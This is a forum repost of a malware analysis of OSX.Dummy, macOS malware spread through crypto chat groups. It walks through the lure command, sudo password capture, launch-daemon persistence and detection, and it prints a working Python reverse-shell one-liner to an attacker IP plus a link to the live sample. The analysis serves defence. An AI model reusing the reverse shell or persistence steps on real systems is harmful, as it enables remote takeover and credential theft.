Active Members Fi8sVrs Posted July 4, 2018 Active Members Report Posted July 4, 2018 Early today, Remco Verhoef (@remco_verhoef) posted an interesting entry to SANS 'InfoSec Handlers Diary Blog'. Titled "Crypto community target of MacOS malware" he noted: Quote "Previous days we've seen multiple MacOS malware attacks, originating within crypto related Slack or Discord chats groups by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary." His great writeup notes the initial infection vector and provides an overview of the malware, including its method of persistence (launch daemon) and purpose (reverse shell). Here, we dive in a touch deeper into the malware and illustrate how Objective-See's tools can generically thwart this new threat, at every step of the way! Quote Want to play along? ☠️ I've shared the malware, which can be downloaded here (password: infect3d). OSX.Dummy Remco Verhoef states the malware attacks are: Quote "originating within crypto related Slack or Discord chats groups by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary. Apparently attackers are asking users to infect themselves, via the following command: $ cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script If users fall for this (rather lame social engineering trick, a rather massive machO binary will be downloaded and executed. Massive you say? Yes, it clocks in at 34M: $ du -h /tmp/script 34M script Using WhatsYourSign, we can see that the malicious binary is not signed: Normally such a binary would be blocked by GateKeeper. However if users are downloading and running a binary directly via terminal commands, GateKeeper does not come into play and thus unsigned binary will be allowed to execute. Does this count as a GateKeeper bypass? Maybe? ...I guess the take away here is (yet again) the builtin macOS malware mitigations should never be viewed as a panacea. Unfortunately this binary remains 100% undetected (0/60) all AV engines on VirusTotal: Moving on, if we open the binary in Hopper, the reason for it's size is clear. Various libraries such as OpenSSL and V8 appear to be statically compiled in: Since it's a) Friday PM and b) this binary is massive, filled with all sorts of library code, we're going to skip static analysis and hop right into dynamic analysis. In a High Sierra virtual machine (vm) with various Objective-See tools installed, we execute the malware in order to dynamically observe its actions. Via the ProcInfo process monitor, it's easy to passively see exactly that malware is up to! First, the malware sets script to be owned as root: # procInfo monitoring for process events... process start: pid: 432 path: /usr/bin/sudo args: ( "/usr/bin/sudo", "-S", "-p", "#node-sudo-passwd#", chown, root, "/tmp/script.sh" ) As the malware executes sudo to change the file's permissions to root, this will require the user enter their password in the terminal. This is saved by the malware to /tmp/dumpdummy: # sudo fs_usage -w -f filesystem open /tmp/dumpdummy script.5354 pwrite F=19 script.5354 close F=19 script.5354 # cat /tmp/dumpdummy hunter2 The malware then sets the script to be executable via chmod +x: # procInfo monitoring for process events... process start: path: /usr/bin/sudo user: 501 args: ( "/usr/bin/sudo", "-S", "-p", "#node-sudo-passwd#", chmod, "+x", "/tmp/script.sh" ) Following this, the malware continues by: moving the script into /var/rootmv "/tmp/script.sh" "/var/root/" dumping a plist file to /tmp/com.startup.plist and then moving into the LaunchDaemons directorymv "/tmp/com.startup.plist" "/Library/LaunchDaemons/ setting the owner of the com.startup.plist plist to rootchown root "/Library/LaunchDaemons/com.startup.plist" launching the com.startup.plist launch daemonlaunchctl load "-w" "/Library/LaunchDaemons/com.startup.plist" At this point the malware has persisted a malicious launch daemon. This is kindly noted by BlockBlock which detects and alerts on this persistence attempt: As noted in the BlocKBlock alert, the path to the launch daemon plist is /Library/LaunchDaemons/com.startup.plist. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.startup</string> <key>Program</key> <string>/var/root/script.sh</string> <key>RunAtLoad</key> <true/> </dict> </plist> As the RunAtLoad key is set to true the value of the Program key, /var/root/script.sh, will be automatically executed by the OS whenever the system is rebooted. Let's look at the script.sh file: #!/bin/bash while : do python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' sleep 5 done Ah a python script! As noted by Remco Verhoef (@remco_verhoef) in his writeup, this will attempt to connect to 185.243.115.230 on port 1337. It then duplicates stdin, stdout and stderr to the socket, before executing /bin/sh with the -i flag. In other words, it's setting up an interactive reverse shell. If you have a firewall product installed, such as Objective-See's LuLu, this network activity will be detected: If the connection to the attacker's C&C server (185.243.115.230:1337) succeeds, the attacker will be able to arbitrarily execute commands (as root!) on the infected system. Conclusion Today we analyzed a new piece of mac malware. I'm calling it OSX.Dummy as: the infection method is dumb the massive size of the binary is dumb the persistence mechanism is lame (and thus also dumb) the capabilities are rather limited (and thus rather dumb) it's trivial to detect at every step (that dumb) ...and finally, the malware saves the user's password to dumpdummy To check if you're infected run KnockKnock as root (since the malware set's it components to be readable only by root). Look for an unsigned launch item com.startup.plist executing something named 'script.sh': One can also look for an instance of python running running as root, with the aforementioned reverse shell commands: $ ps aux | grep -i python root python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); Source: objective-see.com Quote